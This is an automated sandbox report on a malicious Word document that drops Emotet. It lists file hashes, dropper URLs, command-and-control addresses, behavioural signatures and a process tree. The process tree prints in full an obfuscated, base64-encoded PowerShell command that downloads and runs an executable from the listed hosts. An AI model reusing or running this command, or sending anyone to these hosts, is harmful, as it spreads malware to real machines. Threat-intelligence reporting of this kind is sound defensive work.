Analysis
- max time kernel
138s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
22/09/2020, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
BIC_2020_09.doc
Resource
win7
General
- Target BIC_2020_09.doc
- Size 160KB
- Sample200922-cervcalwmx
- SHA256 da0548eeda47746d14e3934cf38702cbfd1f17bed1e98db6170fc2194747ecd4
- MD5 d976c9f4bc83e29947f9ffdfbce26bb5
- SHA1 fa753116aa1bf63e58b51723df570ed8e356865b
- SHA512 2780ecc339175cea3bc716326c5f1fde8ad6eff0e76ba8fb6ee06b0e7122e7281a227309d74a18bb1219aaacc273d1c640c8ced604f4b45fd7450515eb70a281
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://jobcapper.com/8.7.19/hrS/
-
exe.dropper
http://scoomie.com/wp-content/uploads/mxjsB/
-
exe.dropper
https://blog.workshots.net/bibqcr9/Eki/
-
exe.dropper
https://hxoptical.net/wp-admin/91C/
-
exe.dropper
https://adidasnmdfootlocker.com/nc_assets/F/
-
exe.dropper
http://socylmediapc.es/tools/D7Ogq/
-
exe.dropper
http://lombardzista.pl/wp-content/r/
Extracted
-
emotet
-
24.43.32.186:80
-
38.111.46.46:8080
-
134.209.36.254:8080
-
162.241.242.173:8080
-
74.120.55.163:80
-
61.92.17.12:80
-
219.74.18.66:443
-
156.155.166.221:80
-
104.131.44.150:8080
-
37.139.21.175:8080
-
94.1.108.190:443
-
169.239.182.217:8080
-
220.245.198.194:80
-
139.99.158.11:443
-
91.211.88.52:7080
-
62.75.141.82:80
-
174.45.13.118:80
-
137.119.36.33:80
-
188.219.31.12:80
-
103.86.49.11:8080
-
104.131.11.150:443
-
124.41.215.226:80
-
78.187.156.31:80
-
104.32.141.43:80
-
47.144.21.12:443
-
93.147.212.206:80
-
200.123.150.89:443
-
121.7.127.163:80
-
200.114.213.233:8080
-
94.200.114.161:80
-
24.179.13.119:80
-
84.39.182.7:80
-
97.82.79.83:80
-
87.106.136.232:8080
-
5.196.74.210:8080
-
24.43.99.75:80
-
213.196.135.145:80
-
94.23.237.171:443
-
74.134.41.124:80
-
96.249.236.156:443
-
95.213.236.64:8080
-
137.59.187.107:8080
-
75.139.38.211:80
-
82.225.49.121:80
-
123.176.25.234:80
-
194.187.133.160:443
-
62.30.7.67:443
-
109.74.5.95:8080
-
176.111.60.55:8080
-
24.137.76.62:80
-
37.187.72.193:8080
-
110.145.77.103:80
-
153.137.36.142:80
-
1.221.254.82:80
-
195.7.12.8:80
-
110.5.16.198:80
-
185.94.252.104:443
-
104.236.246.93:8080
-
78.24.219.147:8080
-
85.152.162.105:80
-
85.105.205.77:8080
-
139.59.60.244:8080
-
79.137.83.50:443
-
50.91.114.38:80
-
172.91.208.86:80
-
74.219.172.26:80
-
83.169.36.251:8080
-
153.232.188.106:80
-
209.141.54.221:8080
-
168.235.67.138:7080
-
139.130.242.43:80
-
121.124.124.40:7080
-
89.216.122.92:80
-
203.153.216.189:7080
-
187.161.206.24:80
-
157.245.99.39:8080
-
195.251.213.56:80
-
71.72.196.159:80
-
174.102.48.180:443
-
181.169.34.190:80
-
140.186.212.146:80
-
201.173.217.124:443
-
42.200.107.142:80
-
79.98.24.39:8080
-
5.39.91.110:7080
-
139.162.108.71:8080
-
74.208.45.104:8080
-
61.19.246.238:443
-
50.35.17.13:80
-
95.179.229.244:8080
-
216.139.123.119:80
-
120.150.60.189:80
-
219.75.128.166:80
-
68.188.112.97:80
-
107.5.122.110:80
-
87.106.139.101:8080
-
46.105.131.79:8080
-
82.80.155.43:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3988 3816 POWeRsHeLL.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2060-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2060-15-0x00000000005D0000-0x00000000005E2000-memory.dmp emotet behavioral2/memory/2060-16-0x00000000005F0000-0x0000000000600000-memory.dmp emotet behavioral2/memory/2060-16-0x00000000005F0000-0x0000000000600000-memory.dmp emotet behavioral2/memory/292-19-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/292-19-0x0000000000570000-0x0000000000582000-memory.dmp emotet behavioral2/memory/292-20-0x0000000000590000-0x00000000005A0000-memory.dmp emotet behavioral2/memory/292-20-0x0000000000590000-0x00000000005A0000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 24 3988 POWeRsHeLL.exe - Executes dropped EXE 2 IoCs
pid Process 2060 Bgdzca35h.exe 292 PaymentMediatorServiceProxy.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\lodctr\PaymentMediatorServiceProxy.exe Bgdzca35h.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3288 WINWORD.EXE 3288 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3988 POWeRsHeLL.exe 3988 POWeRsHeLL.exe 3988 POWeRsHeLL.exe 292 PaymentMediatorServiceProxy.exe 292 PaymentMediatorServiceProxy.exe 292 PaymentMediatorServiceProxy.exe 292 PaymentMediatorServiceProxy.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3988 POWeRsHeLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE 3288 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3988 wrote to memory of 2060 3988 POWeRsHeLL.exe 80 PID 3988 wrote to memory of 2060 3988 POWeRsHeLL.exe 80 PID 3988 wrote to memory of 2060 3988 POWeRsHeLL.exe 80 PID 2060 wrote to memory of 292 2060 Bgdzca35h.exe 81 PID 2060 wrote to memory of 292 2060 Bgdzca35h.exe 81 PID 2060 wrote to memory of 292 2060 Bgdzca35h.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BIC_2020_09.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3288
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABFAGEAcAB5AHEAYQBkAD0AKAAoACcATgAnACsAJwBoAGsAbgAnACkAKwAnADcAZgAnACsAJwB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAGUAcgBQAHIAbwBGAEkAbABFAFwAVgBkAHIAUQB0AGUAcABcAFEARAA2AHIATgBCADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBSAEkAVAB5AHAAcgBvAHQAYABvAGMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAJwBzACcAKwAoACcAMQAyACcAKwAnACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAMQAxACwAJwApACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAE0AawAzAHMANQBhADgAIAA9ACAAKAAoACcAQgBnAGQAJwArACcAegBjAGEAJwApACsAJwAzACcAKwAnADUAaAAnACkAOwAkAFkANAB1AHEAcgBxAHIAPQAoACcASAAnACsAKAAnADUAdwAnACsAJwBqAHUAJwApACsAJwA1AGEAJwApADsAJABZAHgAXwB2ADgAcAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AFYAZAByAHEAdABlAHAAewAwAH0AUQBkACcAKwAoACcANgByAG4AYgAnACsAJwA1ACcAKQArACcAewAnACsAJwAwAH0AJwApAC0AZgBbAEMAaABBAFIAXQA5ADIAKQArACQATQBrADMAcwA1AGEAOAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFgAbQA1AGMAMQBzAHUAPQAoACcASwAnACsAKAAnAGcAMAAnACsAJwBlAHgAZwAnACkAKwAnAGoAJwApADsAJABHAHkAbABtAGsAcAB2AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcAZQBCAGMATABJAGUATgBUADsAJABPAHEAYQA0AHgAeQB4AD0AKAAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBqACcAKwAnAG8AYgBjACcAKQArACgAJwBhACcAKwAnAHAAJwArACcAcABlAHIALgBjAG8AbQAnACsAJwAvADgALgA3AC4AMQAnACkAKwAoACcAOQAvAGgAcgBTAC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAHMAYwAnACsAJwBvACcAKwAnAG8AbQBpACcAKwAnAGUALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwB3AHAAJwApACsAKAAnAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvACcAKwAnAHUAcABsACcAKQArACgAJwBvACcAKwAnAGEAZABzAC8AJwApACsAJwBtAHgAJwArACgAJwBqACcAKwAnAHMAQgAvACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBsAG8AZwAuAHcAbwByAGsAJwApACsAKAAnAHMAJwArACcAaABvAHQAcwAnACkAKwAnAC4AJwArACcAbgBlACcAKwAoACcAdAAvACcAKwAnAGIAJwArACcAaQBiAHEAYwAnACkAKwAnAHIAOQAnACsAJwAvACcAKwAnAEUAawAnACsAKAAnAGkAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwACcAKwAnAHMAOgAvACcAKwAnAC8AaAAnACkAKwAnAHgAJwArACcAbwAnACsAKAAnAHAAdABpACcAKwAnAGMAJwApACsAKAAnAGEAbAAnACsAJwAuAG4AJwApACsAJwBlACcAKwAnAHQAJwArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQAnACkAKwAnAGkAbgAnACsAKAAnAC8AOQAnACsAJwAxAEMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AYQBkACcAKwAnAGkAJwApACsAKAAnAGQAJwArACcAYQBzACcAKQArACgAJwBuAG0AZABmACcAKwAnAG8AJwApACsAKAAnAG8AdAAnACsAJwBsAG8AYwBrAGUAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBuAGMAXwBhACcAKwAnAHMAcwAnACsAJwBlAHQAJwApACsAJwBzACcAKwAnAC8ARgAnACsAJwAvACoAJwArACcAaAAnACsAKAAnAHQAdABwADoALwAnACsAJwAvACcAKQArACcAcwBvACcAKwAnAGMAJwArACgAJwB5AGwAJwArACcAbQAnACkAKwAoACcAZQAnACsAJwBkAGkAYQAnACkAKwAnAHAAJwArACcAYwAuACcAKwAoACcAZQBzAC8AJwArACcAdABvACcAKwAnAG8AbABzAC8ARAA3ACcAKQArACgAJwBPAGcAJwArACcAcQAnACkAKwAoACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvAGwAJwApACsAKAAnAG8AbQBiAGEAJwArACcAcgBkAHoAJwArACcAaQBzAHQAYQAuACcAKQArACcAcABsACcAKwAnAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQBjAG8AJwApACsAJwBuACcAKwAnAHQAJwArACgAJwBlAG4AJwArACcAdAAvAHIAJwApACsAJwAvACcAKQAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAGMAYwBrAHYAZAAxAD0AKAAnAFgANAAnACsAKAAnADUAMgBtACcAKwAnADQAJwApACsAJwB4ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAMABnADkANAB1AHIAIABpAG4AIAAkAE8AcQBhADQAeAB5AHgAKQB7AHQAcgB5AHsAJABHAHkAbABtAGsAcAB2AC4AIgBEAE8AVwBgAE4AbABvAGEAZABgAEYASQBsAEUAIgAoACQAWgAwAGcAOQA0AHUAcgAsACAAJABZAHgAXwB2ADgAcAA4ACkAOwAkAFIAMQBkAHEAYQBlAHkAPQAoACcARwB4ACcAKwAoACcAYQBsAHMAbQAnACsAJwBxACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAeABfAHYAOABwADgAKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADIANwA2ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAoACQAWQB4AF8AdgA4AHAAOAApADsAJABBADQAcwAyADIAMwA1AD0AKAAnAFkAJwArACgAJwBnADkAeQA1ACcAKwAnAHUAeAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBxADkAYwA0AHYAbQA9ACgAKAAnAFEAJwArACcAYQA5ACcAKQArACcAYwBwACcAKwAnAG4AdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAZwBtAF8AZQB0ADkAPQAoACgAJwBIADYAYgAnACsAJwAwADEAJwApACsAJwAzAHAAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Users\Admin\Vdrqtep\Qd6rnb5\Bgdzca35h.exe"C:\Users\Admin\Vdrqtep\Qd6rnb5\Bgdzca35h.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\SysWOW64\lodctr\PaymentMediatorServiceProxy.exe"C:\Windows\SysWOW64\lodctr\PaymentMediatorServiceProxy.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:292
-
-